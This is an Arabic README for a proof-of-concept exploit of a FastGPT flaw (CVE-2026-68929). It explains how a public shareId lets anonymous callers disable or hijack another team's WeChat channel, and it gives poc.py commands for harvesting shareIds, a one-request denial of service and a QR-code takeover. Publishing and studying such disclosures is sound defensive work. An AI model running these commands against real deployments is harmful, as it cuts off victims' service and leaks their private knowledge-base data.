
إثبات مفهوم لاستغلال CVE-2026-68929، يوضح الاستيلاء غير المصادق عليه عبر المستأجرين على قنوات FastGPT الخاصة بـ WeChat عبر shareId عام، بما في ذلك اختطاف القناة وهجوم حجب الخدمة (DoS).
| CVE | CVE-2026-68929 (CVSS 4.0 9.3 حرج) |
| Advisory | GHSA-q4pr-3qpg-9q5v |
| المتأثر | FastGPT >= 4.14.10, < 4.14.29 و >= 4.15.0, < 4.15.2 |
| الإصلاح | 4.14.29 و 4.15.2 (PR #7260) |
| CWE | CWE-862 (تفويض مفقود), CWE-306 |
التقرير الكامل: https://www.hunt-benito.com/blog/your-bot-my-inbox-cve-2026-68929-fastgpt-unauthenticated-wechat-channel-hijack/
ثلاث نقاط نهاية إدارية تحت /api/support/outLink/wechat/ تُصرّح
بكتابة عبر المستأجرين باستخدام فقط shareId المُقدَّم من الطلب — وهو
المعرّف الذي يطبعه FastGPT في كل رابط دردشة مشتركة، وإطار iframe، ووسيلة تضمين:
logout — محمي بواسطة authOutLinkValid، وهو فحص وجود فقط، ثم
يمسح app.token المخزّن لـ WeChat الخاص بـ outLink ويُجبر app.status
على وضع عدم الاتصال. أي متصل مجهول يملك shareId العام يقتل قناة فريق
في طلب واحد.qrcode/generate — نفس الحماية القائمة على الوجود فقط؛ يُرجع رمز تسجيل دخول iLink
مخزّنًا مؤقتًا تحت publish:wechat:qrcode:<shareId>.qrcode/status — لا يوجد أي استدعاء تفويض على الإطلاق؛ عند تأكيد
رمز QR، يكتب bot_token / accountId / baseUrl الخاص بالماسح
في outLink المُعرَّف بواسطة shareId ويبدأ الاستطلاع.من يمسح رمز QR يحصل على حق اختيار البوت. امسحه باستخدام WeChat الخاص بالمهاجم وسيتم ربط تطبيق الفريق الضحية ببوت المهاجم: تتدفق إجابات قاعدة المعرفة الخاصة وتدفع نقاط الذكاء الاصطناعي للضحية ثمن ذلك.
بدون أي تبعيات — مكتبة Python 3 القياسية فقط.
# 1. فحص آمن (shareId غير موجود؛ توقع رمز 501 linkUnInvalid
# على الإصدارات الضعيفة، ورسالة خطأ تفويض على الإصدارات المُصلَّحة)
python3 poc.py probe --url http://localhost:3000
# 2. جمع shareId عام من رابط دردشة مشتركة / iframe / وسيلة تضمين
python3 poc.py harvest --target "https://victim.example/chat/share?shareId=XXXX"
python3 poc.py harvest --target saved-page.html
# 3. رفض خدمة بطلب واحد — يمسح ربط القناة
python3 poc.py dos --url http://localhost:3000 --share-id XXXX
# 4. اختطاف القناة — يُنشئ victim-qr.png؛ امسحه باستخدام WeChat الخاص بالمهاجم،
# وسيستطلع البرنامج النصي حتى ينقلب الربط
python3 poc.py hijack --url http://localhost:3000 --share-id XXXX
انشر FastGPT من قالب compose الرسمي في المستودع لخط الإصدار 4.15
(deploy/version/v4.15/docker-compose.template.yml)، مع تثبيت الصورة
على v4.15.1 (آخر إصدار ضعيف من هذا الفرع). أنشئ تطبيقًا،
انشره، أضف outLink لـ WeChat في إعدادات النشر، ثم شغّل probe /
dos / hijack ضده. إكمال تسجيل بوت iLink حقيقي ليس
مطلوبًا لملاحظة عيب التفويض — الوصول المجهول إلى
المعالجات الطافرة هو الثغرة.
للاستخدام المصرح به والتحقق من الدفاع فقط. الإصدارات المُصلَّحة متاحة منذ يوليو 2026 — إذا كنت تشغّل FastGPT مع قناة WeChat، قم بالترقية إلى >= 4.15.2 (أو >= 4.14.29) وأعد ربط أي قناة مرت عبر نافذة التعرض.